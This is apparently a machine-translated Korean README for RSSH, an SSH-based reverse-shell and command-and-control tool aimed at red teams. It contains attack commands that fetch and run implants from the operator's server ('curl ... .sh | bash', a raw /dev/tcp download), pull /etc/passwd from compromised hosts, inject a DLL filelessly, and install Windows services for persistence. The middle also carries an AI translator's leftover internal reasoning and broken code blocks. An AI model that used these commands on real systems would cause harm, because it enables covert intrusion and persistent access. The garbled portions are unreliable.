
SSH 기반 리버스 셸 관리 도구로, 기본 SCP/SFTP 지원, 다중 전송 프로토콜, Windows DLL 생성, 그리고 레드팀 운영을 위한 파일리스 실행을 제공합니다.

(아트 크레딧: https://www.instagram.com/smart.hedgehog.art/)
SSH를 리버스 셸에 사용하고 싶으신가요? 이제 가능합니다.
SCP 및 SFTP 구현http, websockets, tls 등 다양한 네트워크 전송https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [Reverse SSH](#reverse-ssh)
- [TL;DR](#tldr)
- [설정](#설정)
- [기본 사용법](#기본-사용법)
- [스폰서](#스폰서)
- [개인](#개인)
- [기업](#기업)
- [특별 기능](#특별-기능)
- [권한](#권한)
- [자동 재접속](#자동-재접속)
- [리버스 셸 다운로드 (클라이언트 생성 및 내장 HTTP 서버)](#리버스-셸-다운로드-클라이언트-생성-및-내장-http-서버)
- [대체 전송 (HTTP/웹소켓/TLS)](#대체-전송-http웹소켓tls)
- [배시 자동 완성](#배시-자동-완성)
- [Windows DLL 생성](#windows-dll-생성)
- [SSH 서브시스템](#ssh-서브시스템)
- [모든 시스템](#모든-시스템)
- [Linux](#linux)
- [Windows](#windows)
- [Windows 서비스 통합](#windows-서비스-통합)
- [완전한 Windows 셸 지원](#완전한-windows-셸-지원)
- [웹훅](#웹훅)
- [Tun (VPN)](#tun-vpn)
- [파일 없는 실행 (클라이언트가 실행할 실행 파일을 동적으로 다운로드하여 셸로 실행 지원)](#파일-없는-실행-클라이언트가-실행할-실행-파일을-동적으로-다운로드하여-셸로-실행-지원)
- [지원되는 URI 스킴](#지원되는-uri-스킴)
- [도움말](#도움말)
- [Windows 도움말](#windows-도움말)
- [SFTP](#windows-및-sftp)
- [세션 생성 오류 (0xc0000142)](#세션-생성-오류-0xc0000142)
- [`--insecure`로 서버를 시작했는데도 `Failed to handshake` 오류 발생](#--insecure로-서버를-시작했는데도-failed-to-handshake-오류-발생)
- [포그라운드 vs 백그라운드](#포그라운드-vs-백그라운드)
- [기부, 지원, 또는 보답](#기부-지원-또는-보답)
## TL;DR
### 설정
도커 릴리스가 권장됩니다. 올바른 버전의 Golang과 Windows용 크로스 컴파일러가 포함되어 있기 때문입니다.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
또는 docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### 기본 사용법```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
모든 명령어는 도움말을 제공하기 위해 -h 플래그를 지원합니다.
그러면 일반적인 ssh 명령어가 작동하며, rssh 서버를 점프 호스트로 지정하기만 하면 됩니다.```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## 스폰서
RSSH 프로젝트에 기부해 주신 모든 분들께 진심으로 감사드립니다. 덕분에 이 모든 작업이 가능했습니다!
### 개인
[chikamobina](https://github.com/chikamobina)님의 관대한 기부에 감사드립니다!
[wrighterase (ctrlzero)](https://github.com/wrighterase)님의 풀 리퀘스트와 기부에 감사드립니다!
### 회사
[Carapace](https://carapace.nz/)는 뉴질랜드 기반의 보안 컨설팅 회사로, 매우 재능 있는 팀을 보유하고 있습니다!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
## 멋진 기능
### 권한
RSSH 서버는 매우 기본적인 사용자 권한을 지원합니다. `data-directory`/`keys` (`--datadir`로 지정) 폴더(예: `data-directory/keys/jim`)에 있는 사용자는 공개 클라이언트(`authorized_controllee_keys` 파일에서 `owners` 태그가 없거나 빈 `owners` 태그가 있는 경우) 또는 자신에게 특별히 할당된 클라이언트(예: `owners="jim"`)만 볼 수 있는 "사용자"로 지정됩니다.
이는 실행 중에 `access` 명령을 통해 소유한 클라이언트에 대한 접근을 공유하는 사용자나 서버 관리자가 변경할 수 있습니다. 기본적으로 `authorized_keys` 파일에 있는 모든 공개 키는 이전 버전과의 호환성을 유지하기 위해 관리자로 표시됩니다.
`access` 명령으로 변경된 내용은 서버 재부팅 후에도 유지되지 않으며, 특정 클라이언트의 `authorized_controllee_keys` 파일을 편집해야 합니다.
### 자동 콜백
rssh 클라이언트는 콜백 주소를 내장할 수 있습니다.
기본적으로 `link` 명령은 서버의 외부 주소를 내장합니다.
어떤 이유로 바이너리를 수동으로 빌드하는 경우, 환경 변수 `RSSH_HOMESERVER`를 지정하여 클라이언트에 내장할 수 있습니다:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232
RSSH 서버는 클라이언트 바이너리를 빌드하고 호스팅할 수 있습니다 (link 명령). 클라이언트를 빌드하고 제공하는 데 선호되는 방법입니다.
기능이 작동하려면 서버가 프로젝트의 bin/ 폴더에 배치되어야 합니다. 클라이언트 소스를 찾아야 하기 때문입니다.
기본적으로 docker 릴리스에는 이 모든 것이 제대로 구축되어 있으며, 사용을 권장합니다.```sh
ssh your.rssh.server.internal -p 3232
catcher$ link -h
link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not
catcher$ link --name test http://your.rssh.server.internal:3232/test
그런 다음 다음과 같이 다운로드할 수 있습니다:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test
혹은 raw tcp를 사용하여 클라이언트 바이너리를 다운로드할 수 있습니다:```sh bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test
이 형식은 단지 `RAW` 다음에 파일명이 오는 것입니다. 예를 들어 이 경우 `test`이며, rssh는 `--raw-download`로 이를 자동 생성할 수 있습니다.
RSSH 서버는 또한 `.sh`, `.py` 및 `.ps1` URL 경로 끝을 지원하며, 이를 통해 인터프리터에 파이프할 수 있는 스크립트를 생성합니다.```sh
curl http://your.rssh.server.internal:3232/test.sh | sh
리버스 SSH 서버와 클라이언트 모두 심층 패킷 분석(DPI)이 호스트나 네트워크에서 SSH 아웃바운드를 차단하는 경우를 위해 여러 전송 방식을 지원합니다. 클라이언트에서 URL로 지정하여 연결 복귀(connect back) 방식을 수동으로 지정할 수 있습니다.
E.g```sh ./client -d ws://your.rssh.server:3232
또는 `link` 명령어로 내장할 수도 있습니다.```sh
ssh your.rssh.server -p 3232 link --ws --name test
RSSH 서버에는 autocomplete 명령이 있어 bash와 잘 통합되므로 서버 콘솔을 사용하지 않을 때도 자동 완성을 사용할 수 있습니다. 설치하려면 다음을 실행하면 됩니다:
rssh-autocomplete install
``````sh
ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232
그러면 .zshrc 또는 .bashrc에 추가할 수 있는 자동 완성 기능을 반환합니다.
예)```sh _RSSHCLIENTSCOMPLETION() { local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) ) }
_RSSHFUNCTIONSCOMPLETIONS() { local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) ) }
complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232
complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill
터미널에서 바로 자동 완성을 수행할 수 있습니다:```sh
# Will give you an option based on what clients are connected
ssh -J your.rssh.server.internal:3232 <TAB>
클라이언트를 DLL로 컴파일하여 Invoke-ReflectivePEInjection과 같은 도구로 로드할 수 있습니다. 이는 rssh 클라이언트의 파일리스 주입을 수행할 때 유용합니다.
Linux에서 수행하는 경우 크로스 컴파일러가 필요하며, mingw-w64-gcc를 사용하십시오. 이는 Docker 릴리스에 포함되어 있습니다.```bash
catcher$ link --goos windows --shared-object --name windows_dll http://your.rssh.server.internal:3232/windows_dll
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
### SSH 하위 시스템
SSH 프로토콜은 `-s` 플래그를 사용하여 하위 시스템을 호출하는 것을 지원합니다. RSSH에서는 이를 플랫폼에 대한 특수 명령과 `sftp` 지원을 제공하도록 용도를 변경했습니다.
#### 모든
`list` 사용 가능한 하위 시스템을 나열합니다.
`sftp`: 파일 전송을 위해 sftp 핸들러를 실행합니다.
#### Linux
`setgid`: 그룹 변경을 시도합니다.
`setuid`: 사용자 변경을 시도합니다.
#### Windows
`service`: rssh 바이너리를 Windows 서비스로 설치하거나 제거합니다. 관리자 권한이 필요합니다.
예시```sh
# Install the rssh binary as a service (windows only)
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install
클라이언트 RSSH 바이너리는 Windows 서비스 내에서 실행될 수 있으며 10초 후에 타임아웃되지 않습니다. 이는 지속적인 관리 서비스를 생성하는 데 유용합니다.
대부분의 Windows용 리버스 셸은 크기 조정, 복사 및 붙여넣기 등 우리가 매우 좋아하는 모든 기능을 지원하는 셸 환경을 생성하는 데 어려움을 겪습니다. 이 프로젝트는 최신 Windows 버전에서는 conpty를 사용하고, 이전 버전에서는 winpty 라이브러리(자체 압축 해제)를 사용합니다. 이는 거의 모든 Windows 버전에서 좋은 셸을 얻을 수 있음을 의미합니다.
RSSH 서버는 터미널 인터페이스에서 webhook 명령을 사용하여 설정된 원시 HTTP 요청을 보낼 수 있습니다.
먼저 웹훅을 활성화하세요:```bash $ ssh your.rssh.server.internal -p 3232 catcher$ webhook --on http://localhost:8080/
그런 다음 연결을 끊거나 클라이언트를 연결하면, 다음 형식으로 `POST` 요청을 발행합니다.```bash
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
추가 참고 사항으로, 이를 디스코드에 연결할 경우 /slack 엔드포인트를 사용하세요.
RSSH와 SSH는 tuntap 인터페이스를 생성하여 트래픽을 라우팅하고 가상 VPN을 만들 수 있도록 지원합니다. 로컬 또는 원격 포워드(-L, -R)보다 설정이 조금 더 필요하지만, 이 모드에서는 UDP 및 ICMP를 보낼 수 있습니다.
악성 RSSH 클라이언트에 연결하면 해당 클라이언트가 사용자의 터널 장치로 다시 연결할 수 있습니다. 따라서 포워딩을 활성화하지 않는 것이 중요하며, 로컬 머신으로의 모든 연결을 차단하는 방화벽 규칙을 설정하거나 컨테이너/netns 내에서 실행해야 합니다.
원격 머신에 클라이언트를 설치하세요. RSSH 클라이언트가 tun 장치와 동일한 호스트에 있으면 작동하지 않습니다.```sh sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any
sudo ip link set dev tun0 up sudo ip route add 0.0.0.0/0 dev tun0
이러한 제한 사항이 있습니다. 오직 `UDP`/`TCP`/`ICMP`만 전송할 수 있으며, 임의의 3계층 프로토콜은 전송할 수 없습니다. `ICMP`는 최선의 방식이며, 대부분의 머신에서 ICMP 소켓이 권한을 필요로 하므로 원격 호스트의 `ping` 도구를 사용할 수 있습니다. 또한 `tap` 장치(예: 2계층 VPN)는 관리자 권한이 필요하므로 지원하지 않습니다.
### 파일리스 실행 (클라이언트가 실행할 바이너리를 동적으로 다운로드하여 셸로 실행 지원)
rssh 바이너리가 실행할 실행 파일을 지정할 때, 전체 PTY 세션으로 연결하거나 원시 실행을 하는 경우 클라이언트는 URI 스키마를 지원하여 외부 호스트의 실행 파일을 다운로드합니다.
예를 들어.```sh
connect --shell https://your.host/program <rssh_client_id>
ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program
http/https: 순수 웹 다운로드
rssh: rssh 서버를 통한 다운로드
rssh 서버는 실행 파일 작업 디렉터리의 downloads 디렉터리에서 콘텐츠를 제공합니다.
두 방법 모두 기회가 있을 때 memfd를 사용합니다. 이는 실행 파일을 디스크에 기록하지 않습니다.
SFTP(또는 제가 사용하고 있는 라이브러리)의 한계 때문에 Windows에서는 경로에 약간 더 신경을 써야 합니다.```sh sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'
시작 문자 앞에 `/`가 있음에 주의하세요.
## 세션 스폰 오류 (0xc0000142)
일부 실행 환경에서는 Windows에서 RSSH 클라이언트에 연결할 때 오류 없이 실패할 수 있습니다.```sh
catcher$ connect windows-system
Session has terminated.
? Wait the user's message ends with "Client logs:" and then a newline? In the user input, it's:
"Client logs: "
But that might be part of the chunk. The instruction says "Preserve ALL Markdown structure intact". So if there is a colon and then a line break, we keep that. So we translate "Client logs" to "클라이언트 로그" and keep the colon and line break. So output should be "클라이언트 로그:\n". But we must not add any extra. The instruction also says return ONLY the translated text, no preamble. So just "클라이언트 로그:\n". But since the user message ends with a newline after "Client logs:"? Actually the user wrote:
"INPUT:
Client logs: "
So the input is "Client logs:\n" (with a newline). So we output "클라이언트 로그:\n". But to be safe, we output exactly the same structure: "클라이언트 로그:" followed by a newline. However, the user might expect no trailing newline? The instruction says preserve structure, so if source ends with newline, we keep it. But we cannot see the exact spacing. I'll assume there's a newline after the colon. So output: "클라이언트 로그:\n". But in plain text, we need to represent it. Since this is a text response, I'll just write "클라이언트 로그:\n" but actually the newline is part of the content. In the response, I'll write it as a line.
Better: just output "클라이언트 로그:" and then a newline. In the response, I'll write:
클라이언트 로그:
That should be fine. No extra markers.클라이언트 로그:```sh 2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell" 2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned 2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected
이 문제의 일반적인 원인은 두 가지입니다. 첫 번째는 백신이 생성된 powershell 프로세스를 종료한 경우이고, 다른 하나 `0xc0000142`는 결과 프로세스에 Windows 스테이션이나 데스크톱에 액세스할 수 있는 권한이 없는 경우입니다 [source](https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service/30687230#30687230).
어느 쪽이 문제를 일으키는지 확인하려면 pty 없이 임의의 명령을 실행하십시오:```sh
ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142
만약 0xc0000142 오류 코드를 보게 된다면 CMD.exe를 시작하고 pty(-t)를 강제로 할당해 보십시오:```sh
ssh -t -J rssh windows-system CMD.exe
대화형 셸이 시작되어야 합니다.
## `--insecure`로 시작한 서버에서 여전히 `Failed to handshake` 발생
클라이언트 바이너리가 `link` 명령으로 생성된 경우, 기본적으로 클라이언트에 서버 공개키 지문이 내장됩니다. 서버 개인키를 분실하면 클라이언트가 더 이상 연결할 수 없게 됩니다.
또한 `link --fingerprint <fingerprint here>`를 사용하여 지문을 지정하여 클라이언트를 생성할 수 있습니다. 현재 버전 1.0.13 기준으로 이 기능을 비활성화할 방법은 없습니다.
## 포그라운드 vs 백그라운드
기본적으로 클라이언트는 백그라운드에서 실행된 후 부모 프로세스가 종료되며, 자식 프로세스는 부모 프로세스의 stdout/stderr를 전달받아 출력을 볼 수 있습니다. 클라이언트를 디버깅해야 하는 경우 `--foreground` 플래그를 사용하세요.
# 기부, 지원 또는 보답
RSSH 프로젝트에 기여하는 가장 쉬운 방법은 버그를 찾고, 기능 요청을 열며, 유용하다고 생각하는 사람들에게 구전으로 홍보하는 것입니다.
하지만 저에게 직접 보답하고 싶다면 Kofi나 GitHub Sponsors(오른쪽의 "Sponsor this Project" 항목)를 통해 할 수 있습니다.
또는 다음 지갑 중 하나로 송금하여 기부할 수 있습니다:
Monero (XMR):
`8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND`
Bitcoin (BTC):
`bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr`